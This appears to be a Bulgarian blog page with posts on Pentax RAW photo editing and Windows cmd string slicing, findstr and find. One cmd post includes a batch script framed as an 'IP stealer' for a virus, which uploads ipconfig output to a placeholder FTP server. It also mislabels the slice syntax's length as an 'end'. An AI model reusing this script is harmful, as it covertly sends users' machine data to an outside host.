Pentax pef RAW-формат – задължителния формат за снимане

Снимам основно в RAW. При мен е задължително, защото бързам, все бързам. А когато бързаш, често не успяваш да направиш правилните настройки за добър кадър. Когато преди снимах в JPEG, съсипвах голям брой кадри, защото нямаше как да ги редактирам, за да придобият приличен бял баланс, осветеност, да изчистя шума и т.н.
Например един подобен кадър бих го сметнал директно за провален, ако не беше направен в RAW:

Original JPEG from RAW pef file

Оригиналната снимка от RAW-файла, конвертирана без редакция с FastStone Image Viewer


След бърза обработка с програмата за обработка на RAW-изображения SILKYPIX, който ми е любимата програма за обработка на изображения се получи нещо далеч по прилично:
Silkypix edit file

Обработеното изображение със Silkypix


Настройките, които използвах са:
Silkypix Settings

RAW формата дава възможност да се извлече много от цветната динамика на кадъра. Този формат съдържа няколко пъти повече информация или цветове, което именно позволява да се спаси в случая по-тъмно изображение. Ако бях снимал в JPEG, тъмните места бих се получили черни, а черното “#000000” не може да се редактира. Както и абсолютно бялото “#ffffff“. В единия случай имаме недоекспониране, в другия имаме преекспониране и прегаряне на кадъра. Подобни фатални грешки често са поправими, ако се снима в RAW.

До скоро снимането в RAW беше привилегия на DSLR телата, като малко сапунерки или ултразумчета поддържаха този формат. Напоследък се появява при все повече не-огледално-рефлексни фотоапарати. Има голяма мания по свободния фирмуеър за Canon сапунерчета CHDK, който позволява обикновена сапунерка да снима в RAW-формат.

cmd tilde “~” – рязане на стринг в командния ред CommandPrompt

Windows cms съдържа един много полезен инструмент за рязане на стрингове. Това е тилдата – tilde (коя е тая Тилда бе???…). Ем ей тая “~”!
Това чудо брои от 0. Реже до колкото му кажеш и реже от тук до еди-колко-си, а синтаксиса е: %променлива:~начало,край%. Въобще не ме бива в лириката, но пък ме бива много в примерите :), за това ще покажа. Стартирате един cmd (Start -> Run -> cmd) и декларирате някаква променлива.

set a=0123456789
echo %a:~0,3%

Това връща резултата 012, защото в случая отрязахме стринга от нула до 2-я. Можем да отрежем от 3-я до 7-я, това би изглеждало така:

echo %a:~3,7%

Това ще ни върне: 3456789
Ех, че яка тая тилда!
Направо ми идва на идея да спретна един random генератор за batch :):

set r=%random%%time:~6,5%
echo %r%

В случая използвам и вградената команда за случайни числа на cmd – random. И след генерираното число добавям изрязани от командата за текущо време time секундите от текущия час, запетайка и стотните от текущия час. Резултата изглежда нещо от сорта:
1428246,37
А дали това не може да се използва за правенето на простичък крадец на ip-та, който да се навре в вирусче или нещо друго. Ако се възползваме от останалите възможности на cmd, като find

@echo off
set ip=%random%%time:~6,5%
ipconfig /all | find "IP Addres" > %ip%.txt
sleep 2
echo user POTREBITEL> ftpcmd.dat
echo PAROLA>> ftpcmd.dat
bin>> ftpcmd.dat
type %ip%.txt
echo put %ip%.txt >> ftpcmd.dat
echo bye >> ftpcmd.dat
ftp -n -s:ftpcmd.dat FTPSITE.COM
del ftpcmd.dat
del %ip%.txt

Този скрипт ще вземе IP-адреса на компютъра, на който е стартиран и ще го качи на посочен от вас FTP-сървар.
Моля не използвайте този скрипт за лоши неща! Пазете си кармата!

findstr – Windows cmd regex

В една друга тема писах малко за търсене в stdout с find в cmd, но инструмента тук превъзхожда в пъти подобно търсене. Предполагам всеки любител или системен администратор си мечтае за възможността да ползва скоростта и мощността на търсещите конзолни инструменти от UNIX/Mac/Linux. В Windows е малко сложно да си настроите системата да изпълнява подобните команди през промпта, просто защото е супер орязан, а инсталирането на UnxUtils си е малко досадно понякога, а и задължително си иска ъпдейта, особено за sed и grep! Все пак малко успокоение е търсенето в файлове или в pipe-режим командата findstr.Тази команда може да работи с едни първобитни RegEx-и, които са доста далече от популярните и модерни PCRE. Но и поосакатено това търсене може доста да ни помогне.
За пример, да потърсим с кои програми се асоциират html файловете в Windows система, като ще използваме pipe-линия:

ftype | findstr "html"

При мен резултата от подобно търсене е:

accesshtmlfile="C:\Program Files\Microsoft Office\OFFICE11\MSACCESS.EXE"
Excelhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE"
Excelhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE"
htmlfile="C:\Program Files\Internet Explorer\iexplore.exe" -nohome
mhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" -nohome
powerpointhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\POWERPNT.EXE"
powerpointhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\POWERPNT.EXE"
wordhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE"
wordhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE"

Командата разполага със следните възможности за търсене с регулярни изрази:

. Wildcard: any character
* Repeat: zero or more occurrences of previous character or class
^ Line position: beginning of line
$ Line position: end of line
[class] Character class: any one character in set
[^class] Inverse class: any one character not in set
[x-z] Range: any characters within the specified range
\x Escape: literal use of metacharacter x
\<xyz Word position: beginning of word
xyz\> Word position: end of word

Ключовете при стартиране на командата също могат да са полезни. За целта:

findstr /?

Windows Find command piping from CommandPrompt

В командният ред на Windows има една много приятна команда, която може да спести време. Командата Find. Тази команда може да се рови във файлове, но по-интересното е, че може да чете директно от stdout и да се включи в pipe. Пример за извличане само на IP-адрес от CommandPrompt:

ipconfig /all | find "IP Address"

Резултата от изпълнението на горната команда е:

IP Address. . . . . . . . . . . . : 10.37.112.18

Друг подобен пример е, ако знаем името на някой компютър в мрежата, но не знаем кой му е собственика, можем да потърсим само за този компютър:

net view | find "hpPC011004"

Много тъпо е, че find не поддържа поне wildcards!!! Но пък си имаме друг по-интересен инструмент findstr – Windows cmd търсене с регулярни изрази.

Стартирането на командния ред(cmd) в WinXp става през Start -> Run -> cmd. Всъщност има поне още една каруца начини.